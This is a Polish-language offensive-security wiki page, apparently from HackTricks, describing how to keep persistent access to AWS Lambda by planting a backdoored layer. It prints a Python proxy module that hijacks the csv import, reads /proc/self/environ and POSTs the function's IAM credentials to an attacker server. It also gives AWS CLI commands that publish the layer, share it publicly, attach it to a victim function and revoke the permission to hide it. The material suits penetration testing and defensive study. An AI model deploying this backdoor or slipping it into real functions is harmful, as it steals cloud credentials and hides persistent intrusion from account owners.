AWS - Lambda Layers Persistence

Wesprzyj HackTricks

Warstwy Lambda

Warstwa Lambda to archiwum plików .zip, które może zawierać dodatkowy kod lub inne treści. Warstwa może zawierać biblioteki, niestandardowy runtime, dane lub pliki konfiguracyjne.

Można dołączyć do pięciu warstw na funkcję. Gdy dołączysz warstwę do funkcji, zawartość jest wypakowywana do katalogu /opt w środowisku wykonawczym.

Domyślnie warstwy, które tworzysz, są prywatne dla twojego konta AWS. Możesz wybrać, aby udostępnić warstwę innym kontom lub udostępnić warstwę publicznie. Jeśli twoje funkcje korzystają z warstwy opublikowanej przez inne konto, twoje funkcje mogą nadal korzystać z wersji warstwy po jej usunięciu lub po cofnięciu uprawnienia do dostępu do warstwy. Nie można jednak utworzyć nowej funkcji ani aktualizować funkcji przy użyciu usuniętej wersji warstwy.

Funkcje wdrożone jako obraz kontenerowy nie korzystają z warstw. Zamiast tego pakujesz preferowany runtime, biblioteki i inne zależności do obrazu kontenerowego podczas budowania obrazu.

Ścieżka ładowania Pythona

Ścieżka ładowania, którą Python będzie używał w lambdzie, jest następująca:

['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']

Sprawdź, jak drugi i trzeci pozycje są zajmowane przez katalogi, w których warstwy lambdy rozpakowują swoje pliki: /opt/python/lib/python3.9/site-packages i /opt/python

Jeśli atakujący zdoła podłożyć użytej warstwie lambdy lub dodać jedną, która będzie wykonywać arbitralny kod podczas ładowania wspólnej biblioteki, będzie mógł wykonać złośliwy kod przy każdym wywołaniu lambdy.

Dlatego wymagania to:

  • Sprawdź biblioteki, które są ładowane przez kod ofiary

  • Stwórz bibliotekę proxy z warstwami lambdy, która będzie wykonywać niestandardowy kod i ładować oryginalną bibliotekę.

Wstępnie załadowane biblioteki

Podczas nadużywania tej techniki napotkałem trudność: Niektóre biblioteki są już załadowane w czasie działania pythona, gdy twój kod jest wykonywany. Spodziewałem się znaleźć rzeczy takie jak os lub sys, ale nawet biblioteka json była załadowana. Aby nadużyć tej techniki trwałego dostępu, kod musi załadować nową bibliotekę, która nie jest załadowana podczas wykonywania kodu.

Z pomocą takiego kodu w języku Python można uzyskać listę bibliotek, które są wstępnie załadowane w czasie działania pythona w lambdzie:

import sys

def lambda_handler(event, context):
return {
'statusCode': 200,
'body': str(sys.modules.keys())
}

I oto lista (sprawdź, czy biblioteki takie jak os lub json są już dostępne)

'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'

Oto lista bibliotek, które lambda zawiera zainstalowane domyślnie: https://gist.github.com/gene1wood/4a052f39490fae00e0c3

Wstawianie tylnych drzwi do warstwy Lambdy

W tym przykładzie załóżmy, że docelowy kod importuje csv. Będziemy wstawiać tylnie drzwi do importu biblioteki csv.

Aby to zrobić, utworzymy katalog csv z plikiem __init__.py w ścieżce, która jest ładowana przez lambdę: /opt/python/lib/python3.9/site-packages Następnie, gdy lambda zostanie wykonana i spróbuje załadować csv, nasz plik __init__.py zostanie załadowany i wykonany. Ten plik musi:

  • Wykonać nasz ładunek

  • Załadować oryginalną bibliotekę csv

Możemy to zrobić za pomocą:

import sys
from urllib import request

with open("/proc/self/environ", "rb") as file:
url= "https://attacker13123344.com/" #Change this to your server
req = request.Request(url, data=file.read(), method="POST")
response = request.urlopen(req)

# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
sys.path.remove(del_path_dir)

# Remove backdoored loaded library from sys.modules
del sys.modules[__file__.split("/")[-2]]

# Load original library
import csv as _csv

sys.modules["csv"] = _csv

Następnie utwórz archiwum zip z tym kodem w ścieżce python/lib/python3.9/site-packages/__init__.py i dodaj go jako warstwę lambdy.

Kod można znaleźć tutaj

Zintegrowany ładunek wyśle dane uwierzytelniające IAM do serwera PIERWSZY RAZ, gdy zostanie wywołany lub PO zresetowaniu kontenera lambdy (zmiana kodu lub zimna lambda), ale inne techniki takie jak poniższe mogą również zostać zintegrowane:

AWS - Steal Lambda Requests

Zewnętrzne warstwy

Zauważ, że można używać warstw lambdy z zewnętrznych kont. Ponadto, lambda może używać warstwy z zewnętrznego konta nawet jeśli nie ma uprawnień. Zauważ również, że maksymalna liczba warstw, jakie może mieć lambda, to 5.

Dlatego, aby zwiększyć wszechstronność tej techniki, atakujący mógłby:

  • Zainfekować istniejącą warstwę użytkownika (nic nie jest zewnętrzne)

  • Utworzyć warstwę w swoim koncie, dać dostęp do użytku warstwy ofierze, skonfigurować warstwę w lambdzie ofiary i usunąć uprawnienie.

  • Lambda nadal będzie mogła używać warstwy, a ofiara nie będzie miała łatwego sposobu na pobranie kodu warstwy (oprócz uzyskania powłoki rev wewnątrz lambdy)

  • Ofiara nie zobaczy używanych zewnętrznych warstw z polecenia aws lambda list-layers

# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

# Give everyone access to the lambda layer
## Put the account number in --principal to give access only to an account
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

## Add layer to victims Lambda

# Remove permissions
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
Wesprzyj HackTricks

Last updated